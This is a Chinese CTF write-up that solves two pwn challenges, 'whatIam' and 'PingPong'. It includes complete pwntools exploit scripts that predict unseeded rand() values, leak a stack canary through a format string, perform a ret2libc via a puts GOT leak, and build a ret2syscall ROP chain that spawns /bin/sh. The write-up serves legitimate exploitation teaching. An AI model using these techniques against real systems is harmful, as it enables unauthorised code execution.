伪随机数+Stack Overflow
2023-10-23 17:01:39

伪随机数+Stack Overflow

程序附件:

https://github.com/zh-Closure/CTF/tree/main/%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%2BStack%20Overflow

PWN_whatIam

首先checksec一下程序,是一个32位的程序,开了canary,nx

image-20231021153639326

丢32位IDA中,看看识别出来的main:

image-20231021153822446

有用的函数没几个:

sub_804862F:

注意此处的v2看起来像是一个随机数,但是在该程序中没有srand()设置随机数种子,所以这个随机数是伪随机的,种子应该为默认的0;

为了过这个条件,我们可以直接在exp中设置随机数种子为0,按照程序所提供的随机数获取方式获取一个伪随机数,此时就符合条件;

由于32位的libc.so.6在64的python中无法调用,所以这里暂时用64位做演示,

from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0)
rand = libc.rand()%4096 +1
log.success('rand: '+str(rand))

image-20231023140832737

==》注意该伪随机数会是一个固定的数:所以我们可以通过动态调试获取这个固定值:

在mov指令上下断点,通过动态调试可直接得知这个数为1201(0x4b1)

image-20231021154336480

所以只要在获取s时填写1201即可通过条件==》来到sub_8048724:

可以看到这里存在2个问题,一个就是栈溢出,一个格式化字符串漏洞,程序刚好开启了canary,可以通过格式化字符串泄露;

在栈溢出中s的大小为0x200,v2为canary在32位程序中占4,所以可以基本布局为:

payload = b"a"*0x200 + p32(canary) + b"b"*8 + p32(shellcode)

其中有填充长度为8大小的padding,这是因为0xc-v2(0x4)= 8;

所以现在还需要泄露canary,先在gets处下断点,先查看一下栈空间:找到canary所在位置:

image-20231021155101764

距离栈顶为0x87(135)

所以只需要在格式化字符串漏洞中输出偏移为135的内容即可:%135$p,即可成功泄露canary;

image-20231021155415636

这样就可以成功获取canary,事已至此,还剩下最后的shellcode怎么写,一般来说,我们最终都是要执行System(“/bin/sh”)的;

所以还需要system和/bin/sh的地址,所以还需要一步,获取地址;

既然如此,我们就将上面shellcode改成能泄露地址,执行完又回到有栈溢出漏洞的payload,以便于再次出发栈溢出漏洞实现rce;

payload = b"a"*0x200 +p32(canary) + b"a"*12 + p32(puts_plt)+p32(0x8048724)+p32(puts_got)+p32(0)

通过puts泄露出地址,由于题目没有提供libc,所以使用LibcSearcher进行libc匹配,就可以获取libc的基地址,并获得system等的地址:

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")

最后最后,将上述拼凑在一起就是exp了,执行即可获取shell:

我这里提供的是本地的exp:远程只要稍微修改libc获取即可

exp

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = process('./whatIam')
elf = ELF('./whatIam')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
stack_overflow = 0x8048724

p.sendlineafter(b'What I am?', b"1201")
p.sendlineafter(b'Name?', br"%135$p")
canary = int(p.recvline()[10:21],16)
log.success('canary: '+hex(canary))

payload = b"a"*0x200 +p32(canary) + b"a"*12 + p32(puts_plt)+p32(stack_overflow)+p32(puts_got)+p32(0)

p.sendlineafter(b'What I am?', b"1201")
p.sendlineafter(b'Name?', payload)
p.recvuntil(b"a"*0x200)
p.recvuntil(b"\n\n")
puts_addr = u32(p.recv(4))

log.success('puts_addr: '+hex(puts_addr))
log.success('puts_plt: '+hex(puts_plt))
log.success('puts_got: '+hex(puts_got))

# libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.sym['puts']
log.success('libc_base: '+hex(libc_base))
# libc_base = 0xf7dc7000
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh').__next__()
main_addr=0x80487A0
payload = b"a"*0x200 +p32(canary) + b"a"*12 + p32(system)+p32(0)+p32(binsh)

p.sendlineafter(b'Name?', payload)

p.interactive()

本地结果:

PWN_PingPong

首先checksec一下程序,开启了NX;

image-20231023133300787

丢64位IDA里看看:

image-20231023133451348

看了一下文件大小和IDA识别出来的函数表==》这是一个静态编译的程序;

image-20231023133551024

看一下程序逻辑,main函数进来后就是像上一题类似进入一个while大循环:

do_stuff函数:

image-20231023133836469

又是一个随机数

和上一题类似,没有srand()设置随机数种子,所以随机数相对来说还是固定的,但是这题是64位程序,所以可以直接拿到:

from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0)
rand = libc.rand()%100 +1
log.success('rand: '+str(rand))

image-20231023141438945

这里我们还是动态调试验证一下看看这个随机数是不是84

在mov前下断点,此时的rax为0x54(84),符合条件

image-20231023134320335

win函数:

image-20231023141611730

可见是一个赤裸裸的栈溢出;

由于这个程序是静态编译的,所以也就没什么libc了,并且在该程序中也没有找到system函数,所以考虑直接打syscall,静态编译程序的ROPgadget和syscall还是很多的;

系统调用号查询:

/usr/include/x86_64-linux-gnu/asm/unistd_32.h
/usr/include/x86_64-linux-gnu/asm/unistd_64.h

32位ret2syscall:

eax:0xb
ebx:bin_sh_addr
ecx:0
edx:0
int 0x80

64位ret2syscall:

rax:59
rdi:bin_sh_addr
rsi:0
rdx:0
syscall

==》实现:

execve("/bin/sh",NULL,NULL)

rax:

rdi:

rsi:

rdx:

image-20231023144720441

syscall:

image-20231023145002622

image-20231023145044283

由于程序内没有现成的”/bin/sh”,所以需要将”/bin/sh”写进去,这边的话触发栈溢出,用read写进bss就可以了;

payload=b"a"*0x78
payload+=p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100)
payload+=p64(elf.sym['read'])

payload触发栈溢出,并对read函数的各个参数进行赋值,接下来再对程序发送数据(/bin/sh和syscall code),就会写入bss中了,但是写入了bss程序也不会自己跳转到bss中的syscall code处执行,所以还需要控制rsp寄存器,使其指向syscall code所在地址:

image-20231023145903448

payload+=p64(rsp_addr)+p64(bss_addr+0x78)

此时在触发read后,rsp就可以指向写入syscall code的地址了;

最后布置一下syscall code就ok了:

payload=b"/bin/sh\x00"+b"a"*0x70
payload+=p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(syscall_addr)

exp

# -*- coding:utf-8 -*-
from pwn import*
from ctypes import *

io = process("./pong")
elf = ELF("./pong")

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"

io.recvuntil(b"What number do you want to ping?")
libc.srand(0)
number = libc.rand()%100 +1
log.success('rand: '+str(number))#84
io.sendline(str(number))

rax_addr = 0x00000000004201b4
rdi_addr = 0x0000000000401766
rsi_addr = 0x0000000000401887
rdx_addr = 0x00000000004436c6
syscall_addr = 0x00000000004003da

rsp_addr = 0x000000000040060b
bss_addr = elf.bss(0x700)

payload=b"a"*0x78
payload+=p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100)
payload+=p64(elf.sym['read'])
payload+=p64(rsp_addr)+p64(bss_addr+0x78)

io.recvuntil(b"New winner!\nName? ")             
io.sendline(payload)

payload=b"/bin/sh\x00"+b"a"*0x70
payload+=p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(syscall_addr)

io.send(payload)

io.interactive()

本地结果: